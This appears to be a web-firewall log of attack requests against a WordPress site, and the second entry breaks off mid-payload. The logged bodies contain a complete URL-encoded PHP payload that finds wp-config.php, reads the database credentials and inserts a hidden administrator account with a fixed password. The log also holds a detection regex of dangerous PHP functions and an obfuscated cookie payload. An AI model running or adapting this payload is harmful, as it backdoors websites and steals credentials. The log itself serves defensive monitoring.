["2026-04-20 17:19:54","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Na:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12640\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-fetch-site:none\nsec-fetch-user:?1\n\nNa=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 17:20:38","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ge:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%2